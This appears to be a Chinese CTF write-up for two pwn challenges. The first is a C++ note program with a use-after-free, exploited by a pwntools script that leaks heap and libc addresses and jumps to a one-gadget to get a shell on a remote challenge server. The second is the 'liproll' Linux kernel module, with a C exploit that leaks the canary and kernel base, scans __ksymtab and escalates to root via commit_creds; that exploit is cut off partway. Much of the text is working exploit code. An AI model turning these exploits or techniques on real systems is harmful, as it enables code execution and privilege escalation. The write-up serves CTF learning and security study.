NoteStorageImpl
中的member_1
是否为空,若不为空,则操作member_1
,否则操作member_2
。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42unsigned __int64 __fastcall NoteImpl::add(NoteImpl *this)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
_QWORD *v4; // rax
__int64 v5; // rax
char v7; // [rsp+17h] [rbp-9h] BYREF
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
v7 = 0;
if ( *((_BYTE *)this + 8) != 1 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you want to clear it?(y/N)");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(&std::cin, &v7);
if ( v7 == 'y' && *((_BYTE *)this + 8) != 1 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "you can only clear once!!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::vector<char>::clear((_QWORD *)this + 2);
*((_BYTE *)this + 8) = 1;
}
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "content(q to quit):");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
v4 = (_QWORD *)std::operator>><char,std::char_traits<char>>(&std::cin, &v7);
if ( !(unsigned __int8)std::ios::operator bool((char *)v4 + *(_QWORD *)(*v4 - 0x18LL)) || v7 == 'q' )
break;
if ( (unsigned __int64)std::vector<char>::size((char *)this + 0x10) > 0x1000 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "nonono!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(0);
}
std::vector<char>::push_back((char *)this + 16, &v7);
}
return __readfsqword(0x28u) ^ v8;
}结构体
NoteImpl
成员buf_1
都有一次clear
的机会,除此之外,只能通过push_back
追加,总长度最多为0x1000。saveHouse:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24__int64 __fastcall NoteStorageImpl::saveHouse(NoteStorageImpl *this)
{
NoteImpl *v1; // rax
__int64 result; // rax
NoteImpl *v3; // rax
__int64 v4; // rax
if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool(this) )
{
v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this);
result = NoteImpl::save(v1);
}
else if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool((char *)this + 8) )
{
v3 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this + 8);
result = NoteImpl::save(v3);
}
else
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "You have no house to save!!!");
result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
return result;
}顺序判断
member_1
和member_2
是否为空,不为空,则调用:1
2
3
4__int64 __fastcall NoteImpl::save(NoteImpl *this)
{
return std::vector<char>::shrink_to_fit((__int64)this + 16);
}对相应
member_1
(或者member_2
)结构体中的buf_1
vector进行shrink_to_fit
操作,即将vector的大小缩小到满足储存需要并且对齐0x10的最小值;从行为上看,是会将原来所占的buffer给先free
掉,然后根据原vector的size重新再malloc
空间。这是很关键的一个函数,由于vector的所占内存空间的增长方式是倍增,所以如果想要获得某个特定大小的vector,就可通过
shrink_to_fit
来实现,此时vector的倍增基数就变成了可控的大小。backup:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16unsigned __int64 __fastcall NoteStorageImpl::backup(NoteStorageImpl *this)
{
__int64 v2; // [rsp+18h] [rbp-18h] BYREF
char v3[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) != 1 )
{
v2 = std::unique_ptr<NoteImpl>::get((__int64)this);
std::make_unique<NoteDBImpl,NoteImpl *>(v3, &v2);
std::unique_ptr<NoteDBImpl>::operator=((char *)this + 16, v3);
std::unique_ptr<NoteDBImpl>::~unique_ptr(v3);
}
return __readfsqword(0x28u) ^ v4;
}判断
NoteStorageImpl
中的house->status
是否为0,若为0则将member_1
赋值给house->member
。encourage:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28__int64 __fastcall NoteStorageImpl::encourage(NoteStorageImpl *this)
{
NoteDBImpl *v1; // rax
__int64 result; // rax
__int64 v3; // rax
if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) )// judge if backed up
{
v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16);
result = NoteDBImpl::getEncourage(v1);
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "You can not get encourage now!");
result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return result;
}
__int64 __fastcall NoteDBImpl::getEncourage(NoteDBImpl *this)
{
__int64 result; // rax
result = **((unsigned int **)this + 1);
if ( (_DWORD)result )
result = (***((__int64 (__fastcall ****)(_QWORD))this + 1))(*((_QWORD *)this + 1));
return result;
}在
house
存在的情况下,且house->member
以及house->member->func_get_encourage
不为0,则调用相应的house->member->func_get_encourage
函数。delHouse:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49__int64 __fastcall NoteStorageImpl::delHouse(NoteStorageImpl *this)
{
NoteDBImpl *v1; // rax
__int64 result; // rax
__int64 v3; // rax
if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) )// judge if backed up
{
v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16);
NoteDBImpl::setdel(v1);
result = std::unique_ptr<NoteImpl>::reset((__int64)this, 0LL);
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "You can not delete now!");
result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return result;
}
NoteDBImpl *__fastcall NoteDBImpl::setdel(NoteDBImpl *this)
{
NoteDBImpl *result; // rax
result = this;
*(_BYTE *)this = 1;
return result;
}
__int64 __fastcall std::unique_ptr<NoteImpl>::reset(__int64 a1, __int64 a2)
{
__int64 v2; // rax
__int64 result; // rax
__int64 v4; // rax
__int64 v5; // [rsp+0h] [rbp-10h] BYREF
__int64 v6; // [rsp+8h] [rbp-8h]
v6 = a1;
v5 = a2;
v2 = std::__uniq_ptr_impl<NoteImpl,std::default_delete<NoteImpl>>::_M_ptr(a1);
std::swap<NoteImpl *>(v2, &v5);
result = v5;
if ( v5 )
{
v4 = std::unique_ptr<NoteImpl>::get_deleter(v6);
result = std::default_delete<NoteImpl>::operator()(v4, v5);
}
return result;
}在
house
存在的情况下,置house->status
为1,并释放house->member
内存空间以及置NoteStorageImpl->member_1
为0。显然这里
house->member
本身并没有置0,且delHouse
和encourage
也没有检查就使用了,显然存在uaf。show:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28int __fastcall NoteStorageImpl::show(NoteStorageImpl *this)
{
NoteDBImpl *v1; // rax
int result; // eax
__int64 v3; // rax
if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) )
{
v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16);
result = NoteDBImpl::gift(v1);
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "NO!");
result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return result;
}
int __fastcall NoteDBImpl::gift(NoteDBImpl *this)
{
int result; // eax
result = *(unsigned __int8 *)this;
if ( (_BYTE)result )
result = puts(*((const char **)this + 1));
return result;
}在
backup
并且delHouse
之后(即house->status = 1
),调用此函数可以打印出house->member
内容。
根据以上分析,可以发现,当依次调用了
backup
和delHouse
功能后,虽然NoteStorageImpl->member_1 = 0
且空间被释放,但是NoteStorageImpl->house->member
却没有清空;于是只要再把这块空间malloc
出来,就可以通过show
把该块chunk中残留的一些指针leak出来,同时如果把该NoteImpl->func_get_encourage
给劫持成onegadget,再调用就可以getshell了。其实题目也有些小提示,比如特意在
NoteImpl
结构体中offset = 0x1b8
的位置留了一个malloc
的地址可以用来leak libc,在offset = 0x1a0
的地方留一个vector结构体可以用来leak heap。整个利用思路如下:
- 首先依次调用
backup
和delHouse
,将member_1
给释放掉;此时tcache中存在一个size = 0x350
的chunk,接下来利用就是围绕这个chunk。 - 调用
editHouse
(此时不clear
),写入0x1a0字节的数据,由于实际是通过不断地push_back
写入的,所以最终会得到一个size = 0x290
的chunk。 - 调用
save
,触发对上述提到的chunk进行shrink_to_fit
,从而将0x290
的chunk释放掉,得到一个size = 0x1b0
的chunk。 - 继续进行
editHouse
,继续push_back
写入0x10个字节数据,因为push_back
的过程中,vector的size会不断增大,从而最终超过该chunk的size,vector就会进行倍增,从而malloc
出一个size = 0x350
的chunk,也就是拿到了NoteStorageImpl->member_1
(或NoteStorageImpl->house->member
)所在的chunk;这样再通过show
就能leak出紧跟在后面的heap和malloc的地址。 - 最后调用
editHouse
,并clear
掉vector,即后续push_back
会从chunk头开始,这样就可以覆盖house->member->func_get_encourage = onegadget
。 - 调用
encourage
功能,触发onegadget。
- 首先依次调用
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
p = remote('106.14.216.214', 27972)
p.sendlineafter(">> ", "3")
p.sendlineafter(">> ", "5")
p.sendlineafter(">> ", "1")
p.sendlineafter("Do you want to clear it?(y/N)", "n")
p.sendlineafter("content(q to quit):", "A" * 0x1A0 + "q")
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", "1")
p.sendlineafter("Do you want to clear it?(y/N)", "n")
p.sendlineafter("content(q to quit):", "A" * 8 + "heapaddr" + "q")
p.sendlineafter(">> ", "6")
p.recvuntil("heapaddr")
heap_base = u64(p.recv(6).ljust(8, "\x00")) - 0x121e5
p.sendlineafter(">> ", "1")
p.sendlineafter("Do you want to clear it?(y/N)", "n")
p.sendlineafter("content(q to quit):", "libcaddr" + "q")
p.sendlineafter(">> ", "6")
p.recvuntil("libcaddr")
libc_base = u64(p.recv(6).ljust(8, "\x00")) - libc.sym['malloc']
p.sendlineafter(">> ", "1")
p.sendlineafter("Do you want to clear it?(y/N)", "y")
p.sendlineafter("content(q to quit):", p64(heap_base + 0x11e98) + p64(libc_base + 0x10a41c) + 'q')
p.sendlineafter(">> ", "4")
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))
p.interactive()
liproll
首先解包rootfs,查看init:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown -R root:root /bin /usr /root
echo "flag{this_is_a_test_flag}" > /root/flag
chmod -R 400 /root
chmod -R o-r /proc/kallsyms
chmod -R 755 /bin /usr
cat /root/banner
insmod /liproll.ko
chmod 777 /dev/liproll
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
poweroff -d 1800000 -f &
umount /proc
umount /sys
poweroff -d 0 -f可以看出加载了一个名为liproll的driver,并且dmesg信息和/proc/kallsyms都不可读。
从run.sh:
1
2
3
4
5
6
7
8
9
10!/bin/sh
qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
-initrd ./rootfs.cpio \
-nographic \
-m 2G \
-smp cores=2,threads=2,sockets=1 \
-monitor /dev/null \可以知道开启了kaslr保护。
从rootfs中拿出liproll.ko分析,关键函数有:
liproll_unlocked_ioctl:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32__int64 __fastcall liproll_unlocked_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 result; // rax
if ( a2 == 0xD3C7F03 )
{
create_a_spell();
result = 0LL;
}
else if ( a2 > 0xD3C7F03 )
{
if ( a2 != 0xD3C7F04 )
return 0LL;
choose_a_spell(a3);
result = 0LL;
}
else
{
if ( a2 != 0xD3C7F01 )
{
if ( a2 == 0xD3C7F02 )
{
global_buffer = 0LL;
*(&global_buffer + 1) = 0LL;
}
return 0LL;
}
cast_a_spell(a3);
result = 0LL;
}
return result;
}可以通俗地理解为菜单,提供了create,cast,choose,reset功能,其中:
create:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21__int64 create_a_spell()
{
__int64 v0; // rax
__int64 v1; // rbx
__int64 result; // rax
v0 = 0LL;
while ( 1 )
{
v1 = (int)v0;
if ( !lists[v0] )
break;
if ( ++v0 == 0x10 )
return printk("[-] Full!\n");
}
result = kmem_cache_alloc_trace(kmalloc_caches[8], 0xCC0LL, 0x100LL);
if ( !result )
return create_a_spell_cold();
lists[v1] = result;
return result;
}简单地通过kmalloc申请一个0x100的chunk,存在
list
数组里(这里kmem_cache_alloc_trace(kmalloc_caches[8], 0xCC0LL, 0x100LL);
个人认为可能是被优化了,行为上应该等价于kmalloc(0x100)
,不过不是很重要。choose:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15void *__fastcall choose_a_spell(unsigned int *a1)
{
__int64 v1; // rax
void *result; // rax
v1 = *a1;
if ( (unsigned int)v1 > 0xFF )
return (void *)choose_a_spell_cold();
result = (void *)lists[v1];
if ( !result )
return (void *)choose_a_spell_cold();
global_buffer = result;
*((_DWORD *)&global_buffer + 2) = 0x100;
return result;
}把
list
数组中,给定下标中存在的指针赋值给global_buffer
,并且把*((_DWORD *)&global_buffer + 2)
(其实就是size)设置为0x100。显然这里下标是来源于用户程序可控的,且判断只需要小于0x100,
list
本身容量就是0x10,显然存在溢出。reset:
1
2global_buffer = 0LL;
*(&global_buffer + 1) = 0LL;清空
global_buffer
并且设置size = 0
。cast:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29unsigned __int64 __fastcall cast_a_spell(__int64 *a1)
{
unsigned int v1; // eax
int v2; // edx
__int64 v3; // rsi
_BYTE v5[256]; // [rsp+0h] [rbp-120h] BYREF
void *v6; // [rsp+100h] [rbp-20h]
int v7; // [rsp+108h] [rbp-18h]
unsigned __int64 v8; // [rsp+110h] [rbp-10h]
v8 = __readgsqword(0x28u);
if ( !global_buffer )
return cast_a_spell_cold();
v6 = global_buffer;
v1 = *((_DWORD *)a1 + 2);
v2 = 0x100;
v3 = *a1;
if ( v1 <= 0x100 )
v2 = *((_DWORD *)a1 + 2);
v7 = v2;
if ( !copy_from_user(v5, v3, v1) )
{
memcpy(global_buffer, v5, *((unsigned int *)a1 + 2));
global_buffer = v6;
*((_DWORD *)&global_buffer + 2) = v7;
}
return __readgsqword(0x28u) ^ v8;
}这里
*((_DWORD *)a1 + 2);
是来自于用户程序的,且copy_from_user
的size参数正好来自于*((_DWORD *)a1 + 2);
,而没有检查,所以存在stack overflow。这样,
v6
和v7
的值都可以被覆盖,也就是说glabal_buffer
和size
都是完全可控的。
read:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18__int64 __fastcall liproll_read(__int64 a1, __int64 a2, __int64 a3)
{
_QWORD v5[35]; // [rsp+0h] [rbp-118h] BYREF
v5[32] = __readgsqword(0x28u);
if ( global_buffer )
{
if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908
&& (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 )
{
return liproll_read_cold();
}
memcpy(v5, global_buffer, *((unsigned int *)&global_buffer + 2));
if ( !copy_to_user(a2, v5, a3) )
return a3;
}
return -1LL;
}可以注意到这里的
memcpy
,在*((unsigned int *)&global_buffer + 2)
可控的情况下,同样存在溢出;也可以通过设置size = 0
,或者放大a3
参数的值,leak出栈上的数据。write:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39__int64 __fastcall liproll_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 v3; // rbx
_BYTE *v4; // rcx
char *v5; // rdi
_QWORD v7[35]; // [rsp+0h] [rbp-118h] BYREF
v7[32] = __readgsqword(0x28u);
if ( !global_buffer )
return -1LL;
v3 = 256LL;
if ( a3 <= 0x100 )
v3 = a3;
if ( copy_from_user(v7, a2, v3) )
return -1LL;
v4 = global_buffer;
if ( (unsigned int)v3 < 8 )
{
if ( (v3 & 4) != 0 )
{
*(_DWORD *)global_buffer = v7[0];
*(_DWORD *)&v4[(unsigned int)v3 - 4] = *(_DWORD *)((char *)v7 + (unsigned int)v3 - 4);
}
else if ( (_DWORD)v3 )
{
*(_BYTE *)global_buffer = v7[0];
if ( (v3 & 2) != 0 )
*(_WORD *)&v4[(unsigned int)v3 - 2] = *(_WORD *)((char *)v7 + (unsigned int)v3 - 2);
}
}
else
{
v5 = (char *)(((unsigned __int64)global_buffer + 8) & 0xFFFFFFFFFFFFFFF8LL);
*(_QWORD *)global_buffer = v7[0];
*(_QWORD *)&v4[(unsigned int)v3 - 8] = *(_QWORD *)((char *)&v7[-1] + (unsigned int)v3);
qmemcpy(v5, (char *)v7 - (v4 - v5), 8LL * ((unsigned int)(v3 + (_DWORD)v4 - (_DWORD)v5) >> 3));
}
return v3;
}这个函数就是向
global_buffer
里写入数据。
其次调试的过程中发现,这里的
kaslr
和用户态程序的aslr
不太一样,不论是liproll模块的相关的函数地址,还是kernel的一些内核函数,都不是简单的相对于base address有一个固定的偏移,而近乎是完全随机的感觉;比如对于liproll模块:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16/ $ cat /sys/module/liproll/sections/.
../ .text.cast_a_spell
./ .text.check_bound
.bss .text.choose_a_spell
.data .text.create_a_spell
.exit.text .text.liproll_open
.gnu.linkonce.this_module .text.liproll_read
.init.text .text.liproll_release
.note.Linux .text.liproll_unlocked_ioctl
.note.gnu.build-id .text.liproll_write
.orc_unwind .text.reset_the_spell
.orc_unwind_ip .text.unlikely.cast_a_spell
.rodata.str1.1 .text.unlikely.choose_a_spell
.rodata.str1.8 .text.unlikely.create_a_spell
.strtab .text.unlikely.liproll_read
.symtab每个函数都有独立的section,而这些section实际加载的地址都是不可预测的(当然section和section之间的相对偏移可能是有一定的预测性的,比如.bss和.data section相差0x4c0就是固定的,后面利用会用到这点)。
同样的,从bzImage中提取出vmlinux分析,也可以发现,存在着类似的.text.func_name的section,使得
prepare_kernel_cred
和commit_creds
偏移不是相对vmlinux_base固定;但是像liproll_open
中通过copy_page
函数地址算出vmlinux_base的时候,减去固定偏移,可以看出copy_page
的偏移是固定的,同时vmlinux文件中不存在.text.copy_page
的section。其次,在
liproll_read
这里,有一个check,即:1
2
3
4
5if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908
&& (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 )
{
return liproll_read_cold();
}那么
vmlinux_base + 0x12EE908 ~ vmlinux_base + 0x13419A0
这部分内存就显得很可疑,调试中发现,这部分内存正好是__ksymtab
,__ksmtab_gpl
和ksymtab_strings
这三个section。重点在于,
__ksymtab
这个section,相当于一个size=0xC
的结构体的数组,前4 bytes表示函数地址的偏移,中间4 bytes表示函数名的偏移,最后4 bytes也是偏移:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40__ksymtab:FFFFFFFF822EE908 __ksymtab segment dword public 'CONST' use64
__ksymtab:FFFFFFFF822EE908 assume cs:__ksymtab
__ksymtab:FFFFFFFF822EE908 ;org 0FFFFFFFF822EE908h
__ksymtab:FFFFFFFF822EE908 ; struct func_struct _ksymtab_array[5944]
__ksymtab:FFFFFFFF822EE908 __ksymtab_array dd 0FF15CB08h, 207DFh, 314F1h
__ksymtab:FFFFFFFF822EE908 ; DATA XREF: sub_FFFFFFFF81505000+11C↑o
__ksymtab:FFFFFFFF822EE908 ; sub_FFFFFFFF81505000+123↑o ...
__ksymtab:FFFFFFFF822EE908 dd 0FF331E4Ch, 29490h, 314E5h
__ksymtab:FFFFFFFF822EE908 dd 0FF4EC780h, 30040h, 314D9h
__ksymtab:FFFFFFFF822EE908 dd 0FF4ED4F4h, 30079h, 314CDh
__ksymtab:FFFFFFFF822EE908 dd 0FF4ED4C8h, 300A8h, 314C1h
__ksymtab:FFFFFFFF822EE908 dd 0FF4EBE5Ch, 2FFECh, 314B5h
__ksymtab:FFFFFFFF822EE908 dd 0FF4EE630h, 30038h, 314A9h
__ksymtab:FFFFFFFF822EE908 dd 0FF4EC284h, 2FFE8h, 3149Dh
__ksymtab:FFFFFFFF822EE908 dd 0FF4EEDA8h, 3005Ah, 31491h
__ksymtab:FFFFFFFF822EE908 dd 0FF4EBDFCh, 30000h, 31485h
__ksymtab:FFFFFFFF822EE908 dd 0FF377750h, 2A291h, 31479h
__ksymtab:FFFFFFFF822EE908 dd 0FF2A8794h, 26BC4h, 3146Dh
__ksymtab:FFFFFFFF822EE908 dd 0FF2A7538h, 26BB1h, 31461h
__ksymtab:FFFFFFFF822EE908 dd 0FF2A751Ch, 26B94h, 31455h
__ksymtab:FFFFFFFF822EE908 dd 0FF982850h, 48936h, 31449h
__ksymtab:FFFFFFFF822EE908 dd 0FF5000A4h, 30CC7h, 3143Dh
__ksymtab:FFFFFFFF822EE908 dd 0FF4D9CF8h, 2F487h, 31431h
__ksymtab:FFFFFFFF822EE908 dd 0FF4C3EDCh, 2E471h, 31425h
__ksymtab:FFFFFFFF822EE908 dd 0FF2CF4C0h, 270CDh, 31419h
__ksymtab:FFFFFFFF822EE908 dd 0FF97BA04h, 48682h, 3140Dh
__ksymtab:FFFFFFFF822EE908 dd 0FF32DE88h, 2912Bh, 31401h
__ksymtab:FFFFFFFF822EE908 dd 0FF4AA3DCh, 2D565h, 313F5h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF520h, 2E8E4h, 313E9h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF5E4h, 2E8FEh, 313DDh
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF7E8h, 2E954h, 313D1h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF4CCh, 2E878h, 313C5h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF450h, 2E85Dh, 313B9h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF664h, 2E8EFh, 313ADh
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF548h, 2E8A9h, 313A1h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF60Ch, 2E8C6h, 31395h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF720h, 2E8FFh, 31389h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CFB94h, 2E859h, 3137Dh
__ksymtab:FFFFFFFF822EE908 dd 0FF4CFA78h, 2E838h, 31371h
__ksymtab:FFFFFFFF822EE908 dd 0FF4CF68Ch, 2E8BBh, 31365h比如第一项
dd 0FF331E4Ch, 29490h, 314E5h
,计算出(0x822EE908 + 0xFF15CB08C) & ((1 << 32) - 1) | (0xFFFFFFFF << 32) = 0xffffffff8144b410
;以及(0x822EE90C + 0x207DF) & ((1 << 32) - 1) | (0xFFFFFFFF << 32) = 0xffffffff8230f0eb
:1
2
3.text.IO_APIC_get_PCI_irq_vector:FFFFFFFF8144B410 ; FUNCTION CHUNK AT
__ksymtab_strings:FFFFFFFF8230F0EB aIoApicGetPciIr db 'IO_APIC_get_PCI_irq_vector',0说明这就是个符号表,如果能够便利符号表查找
prepare_kernel_cred
和commit_creds
的地址,那么问题就简单了。那么整个利用思路为:
首先利用
liproll_read
把canary给leak出来然后利用
cast_a_spell
功能存在的溢出,把global_buffer
覆盖为任意非0值,以及*((_DWORD *)&global_buffer + 2)
覆盖为0。之后调用
liproll_read
的时候,由于memcpy(v5, global_buffer, *((unsigned int *)&global_buffer + 2));
参数中size = 0
,所以相当于没有执行,就能把栈上的残留数据leak出来;调试过程中发现leak出来的数据中,通过偏移为0x18的数据,可以得到liproll模块.data section的起始地址,即uint64_t _data_sec = ((*(uint64_t *)(buf + 0x18) >> 12) << 12) + 0x2000;
,其次.bss section和.data section的偏移固定,为0x4c0,同样可以计算出.bss section的起始地址:uint64_t _bss_sec = _data_sec + 0x4C0;
。那么获得了.bss section的地址后,就能继续利用
cast_a_spell
存在的栈溢出,把global_buffer
指向.bss上vmlinux_base的位置,这样就把vmlinux加载基址给leak出来了;于此同时,可以通过liproll_write
将其覆盖为0,绕过之后调用liproll_read
中的check:1
2if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908
&& (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 )通过不断地利用
cast_a_spell
中的栈溢出修改global_buffer
,遍历__ksymtab
,找到prepare_kernel_cred
和commit_creds
的地址。最后只要构造rop提权即可,因为并没有开启smep保护,所以gadget可以在用户态程序中构造。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
struct liproll
{
void *ptr;
uint32_t size;
};
void die(const char *msg)
{
perror(msg);
exit(-1);
}
uint64_t prepare_kernel_cred;
uint64_t commit_creds;
uint64_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("[*] Status saved\n");
}
void privilege_escalation()
{
void *(*pkc)(void *) = (void *)prepare_kernel_cred;
void *(*cc)(void *) = (void *)commit_creds;
(*cc)((*pkc)(0));
}
void getshell()
{
if(getuid() == 0)
{
printf("[!] Root!\n");
system("/bin/sh");
}
else
{
printf("[!] Failed!\n");
}
}
void swapgs()
{
asm(
"swapgs;"
"iretq;"
);
}
void sub_rsp()
{
asm(
"sub rsp, 0x128;"
"ret;"
);
}
int main(void)
{
uint32_t idx = 0;
char buf[0x200] = {0};
int fd = open("/dev/liproll", O_RDWR);
if(fd < 0)
die("open error");
// leak canary
ioctl(fd, CMD_CREATE);
ioctl(fd, CMD_CHOOSE, &idx);
read(fd, buf, 0x180);
uint64_t canary = *(uint64_t *)(buf + 0x100);
printf("[+] canary is: %p\n", canary);
// overwrite global_buffer = 0xdeadbeef
// overwrite global_buffer size = 0x0
memset(buf, 0, 0x200);
*(uint64_t *)(buf + 0x100) = 0xdeadbeef;
*(uint32_t *)(buf + 0x108) = 0;
struct liproll tmp =
{
.ptr = buf,
.size = 0x110
};
ioctl(fd, CMD_CAST, &tmp);
// leak .data and .bss section
read(fd, buf, 0x200);
uint64_t _data_sec = ((*(uint64_t *)(buf + 0x18) >> 12) << 12) + 0x2000;
uint64_t _bss_sec = _data_sec + 0x4C0;
printf("[+] .data section address is: %p\n", _data_sec);
printf("[+] .bss section address is: %p\n", _bss_sec);
// leak vmlinux_base
*(uint64_t *)(buf + 0x100) = _bss_sec + 0x80;
*(uint32_t *)(buf + 0x108) = 8;
tmp.ptr = buf;
tmp.size = 0x110;
ioctl(fd, CMD_CHOOSE, &idx);
ioctl(fd, CMD_CAST, &tmp);
read(fd, buf, 8);
uint64_t vmlinux_base = *(uint64_t *)buf;
printf("[+] vmlinux base is: %p\n", vmlinux_base);
// overwrite vmlinux_base = 0 to bypass liproll_read check
*(uint64_t *)buf = 0;
write(fd, buf, 8);
// find commit_creds and prepare_kernel_cred in __ksymtab
uint64_t __ksymtab_start = vmlinux_base + 0x12EE908;
printf("[+] __ksymtab_start address is: %p\n", __ksymtab_start);
int i, j;
int found_commit_creds = 0, found_prepare_kernel_cred = 0;
int found_do_sync_core = 0, found_intel_pmu_save_and_restart = 0;
for(i = 0; i < 0x12000; i += 0xFC){
char accept_buf[0x100];
uint64_t base_addr = __ksymtab_start + i;
*(uint64_t *)(buf + 0x100) = base_addr;
*(uint32_t *)(buf + 0x108) = 0xFC;
ioctl(fd, CMD_CHOOSE, &idx);
ioctl(fd, CMD_CAST, &tmp);
read(fd, accept_buf, 0xFC);
for(j = 0; j < 0xFC; j += 0xC)
{
char name_buf[0x100];
uint32_t func_offset = *(uint32_t *)(accept_buf + j);
uint32_t name_offset = *(uint32_t *)(accept_buf + j + 4);
uint64_t func_addr = ((uint32_t)base_addr + func_offset + j) | (0xffffffffull << 32);
uint64_t name_addr = base_addr + name_offset + j + 4;
